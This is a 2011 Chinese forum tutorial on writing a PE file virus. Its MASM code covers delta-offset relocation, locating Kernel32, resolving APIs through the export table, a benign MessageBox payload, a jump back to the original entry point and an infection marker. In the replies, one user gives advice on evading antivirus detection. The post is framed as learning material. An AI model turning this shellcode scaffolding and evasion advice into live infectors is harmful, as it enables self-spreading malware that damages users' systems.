首页
社区
课程
招聘
[原创]PE文件病毒初探
发表于: 2011-7-17 11:19 11709

[原创]PE文件病毒初探

2011-7-17 11:19
11709
【文章标题】: PE文件病毒初探
【文章作者】: loongzyd
【下载地址】: 见附件
【使用工具】: RadAsm  Peid
【参考】:《加密与解密》第三版,《计算机病毒分析与防治简明教程》
PE格式大致温习一下之后开始按照教材上的进度进入PE文件病毒的学习,程序实现了"添加节方式修改PE","加长最后一节修改PE","插入节方式修改PE"三种方式。感染之后只是在程序运行正常功能之前谈出一个对话框,在没有经过处理的情况下,被感染的.exe文件都被360报毒,小红伞对第三种方式感染的.exe文件没有报毒。
我们先来看看程序感染之前的情况:                                                      第一种方式感染之后的情况:
           
第二种方式感染之后的情况:                                                               第三种方式感染之后的情况:
           
程序的流程                                                            
  
感染之后运行情况:


重定位:
Call @F
	@@:
	pop ebx
	sub ebx,offset @B

因为代码是插入别的文件当中,所处的地址一般是不一样的,所以为了保证在别的地址也能完成相同功能,需要采用重定位技术。其实就是找到两次代码所在地址的差,在代码调用的时候将整个差加上。
查找Kernel32.dll基地址:
GetKernelBase proc _dwKernelRet:DWORD
	LOCAL @dwReturn:DWORD
	
	pushad
	mov @dwReturn,0
	
;******************************************************
;查找Kernel32.dll的基地址
;******************************************************
	mov edi,_dwKernelRet
	and edi,0ffff0000h
	.while TRUE
		.if word ptr [edi] == IMAGE_DOS_SIGNATURE
			mov esi,edi
			add esi,[esi+003ch]                       ;e_lfanew字段的偏移为3c
			.if word ptr [esi] == IMAGE_NT_SIGNATURE
				mov @dwReturn,edi
				.break
			.endif
		.endif
		_PageError:
		sub edi,01000h
		.break .if edi < 07000000h
	.endw
	popad
	mov eax,@dwReturn
	ret

_GetKernelBase endp

在Windows系统下,Kernel32.dll的加载基地址都是按照0x1000对齐,从程序入口处的esp获取一个DWORD型的值[esp],整个值在Kernel32.dll模块中,这样顺着该值由高地址往地地址搜寻就能找到Kernel32.dll基地址。
查找API地址:
GetApi proc _hModule:DWORD,_lpszApi:DWORD
	
	local @dwReturn:DWORD
	LOCAL @dwStringLength:DWORD                                 ;需要查找地址的API函数的长度
	
	pushad
	mov @dwReturn,0
;****************************************************
;重定位
;****************************************************
	Call @F
	@@:
	pop ebx
	sub ebx,offset @B
	
;****************************************************
;计算API字符串的长度(包含'\0')
;****************************************************
	mov edi,_lpszApi
	mov ecx,-1
	xor al,al
	cld                                         ;设置方向标志DF=0,地址递增
	repnz scasb
	mov ecx,edi
	sub ecx,_lpszApi
	mov @dwStringLength,ecx
	
;****************************************************
;导出表
;****************************************************
	mov esi,_hModule
	assume esi:ptr IMAGE_DOS_HEADER
	add esi,[esi].e_lfanew
	assume esi:ptr IMAGE_NT_HEADERS
	mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
	add esi,_hModule
	assume esi:ptr IMAGE_EXPORT_DIRECTORY
	
;****************************************************
;寻找符合名称的导出函数名
;****************************************************
	mov ebx,[esi].AddressOfNames
	add ebx,_hModule
	xor edx,edx
	.repeat
		push esi
		mov edi,[ebx]                                    ;获取一个指向导出函数的API函数名称的RVA
		add edi,_hModule                                 ;加上基地址
		mov esi,_lpszApi                                 ;esi指向需要查找的API函数名称
		mov ecx,@dwStringLength                          ;需要寻找的API函数的名称长度
		repz cmpsb                                       ;导出API函数名与需要查找的函数名进行逐位比较
		.if ZERO?
			pop esi                                  ;如果匹配
			jmp @F
		.endif
		pop esi
		add ebx,4                                        ;指向下一个API函数名的RVA
		inc edx                                          ;计数加一
	.until edx >= [esi].NumberOfNames                        ;如果所有的函数名已经都进行过匹配,则说明需要查找的函数不在Kernel32.dll里面
	jmp _Error
@@:	                                      ;ebx指向了导出表中需要查找的函数名的地址
;**********************************************************
;API名称索引 --> 序号索引 -->地址索引
;**********************************************************
	sub ebx,_hModule                      ;减去Kernel32基地址
	sub ebx,[esi].AddressOfNames          ;减去AddressOfNames字段的RVA,得到的值为API名称索引*4(DWORD)
	shr ebx,1                             ;除以2(AddressOfNameOrdinals的序号为WORD)
	add ebx,[esi].AddressOfNameOrdinals   ;加上AddressOfNameOrdinals字段的RVA
	add ebx,_hModule                      ;加上Kernel32基地址
	movzx eax, word ptr [ebx]             ;得到该API的序号
	shl eax,2                             ;乘以4(地址为DWORD型)
	add eax,[esi].AddressOfFunctions      ;加上AddressOfFunctions字段的RVA
	add eax,_hModule                      ;加上Kernel32的基地址,此时eax指向的就是需要查找的函数名的地址
	mov eax,[eax]
	add eax,_hModule
	mov @dwReturn,eax
_Error:
	assume esi:nothing
	popad
	mov eax,@dwReturn
	ret

_GetApi endp

弹框的主要实现:
Call @F
	@@:
	pop ebx
	sub ebx,@B
	invoke _GetKernelBase,[esp]                                            ;获取Kernel32.dll的基地址
	.if !eax
		jmp _ToOldEntry
	.endif
	mov [ebx+DllKernel32],eax                                              ;存放Kernel32.dll的基地址
	lea eax,[ebx+szGetProcAddress]
	invoke _GetApi,[ebx+DllKernel32],eax                                   ;获取GetProcAddress地址
	.if !eax
		jmp _ToOldEntry
	.endif
	mov [ebx+_GetProcAddress],eax                                          ;存放GetProcAddress函数的地址
	lea eax,[ebx+szLoadLibrary]
	invoke [ebx+_GetProcAddress],[ebx+DllKernel32],eax                     ;获取LoadLibrary函数的地址
	mov [ebx+_LoadLibrary],eax                                             ;存放LoadLibrary函数的地址
	lea eax,[ebx+szUser32]
	invoke [ebx+_LoadLibrary],eax                                          ;加载User32.dll的基地址
	mov [ebx+DllUser32],eax                                                ;存放User32.dll的基地址
	lea eax,[ebx+szMessageBox]
	invoke [ebx+_GetProcAddress],[ebx+DllUser32 ],eax                      ;获取MessageBox函数的地址
	mov [ebx+_MessageBox],eax
;*****************************************************************
;测试所用,表示功能已经实现
;*****************************************************************
	invoke [ebx+_MessageBox],NULL,addr [ebx+show_text],addr [ebx+show_title],MB_OK    
_ToOldEntry:
	db	0e9h	;0e9h是jmp xxxxxxxx的机器吗
        ;_dwOldEntry=(原来的入口RVA地址-jmp xxx下条指令的RVA地址)
_dwOldEntry	dd	44332211h	;用来填入原来的入口地址
flags		dd	11111111h

flags的作用是起到标记作用,表示该PE文件已经被感染了(定位到节区的实际代码的结尾处,然后往前移动4个字节,读取最后4个字节的数据,和11111111h进行比较)

对PE 文件进行修改的代码请查看附加中完整的程序。
写的非常菜,希望大牛们不要笑话。
ps:
level1的密码:loong
level2的密码:xp
level3的密码:cuit

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 7
支持
分享
最新回复 (8)
雪    币: 10026
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
谢谢分享,虽然这些都是老掉牙的东西了,不过动手实现一下,还是有很大收获的,学习中。
....
2011-7-17 11:34
0
雪    币: 204
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
学习了    3其Q
2011-7-17 12:31
0
雪    币: 217
活跃值: (67)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
原来三种方式都在里面了 向楼主学习 谢谢分享....
2011-7-17 12:53
0
雪    币: 76
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
谢谢分享。。。
2011-7-17 13:31
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
6
呵呵 确实是老掉牙的 让大家见笑了
2011-7-17 14:13
0
雪    币: 75
活跃值: (623)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
试试扩展节大小,比如扩展第一个text节的大小,然后把代码写进去,如果不是这样,被小红伞杀的很窘的说。毕竟第三种方式,利用的代码空间有限
2011-7-17 15:54
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
8
恩恩,自己对杀毒软件的情况不了解,免杀基本没有学习....  谢谢你建议,下来会增加整个功能的...
还有很多需要学习的,请多多指教。   
ps:其实感觉把节的大小增加比把代码加到节的空闲区间更危险吧。(没有任何依据,个人yy)
2011-7-17 16:02
0
雪    币:
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
请问编译链接的参数是什么,为什么自己再编译链接一遍不能通过呢
2018-6-25 00:36
0
游客
登录 | 注册 方可回帖
返回
//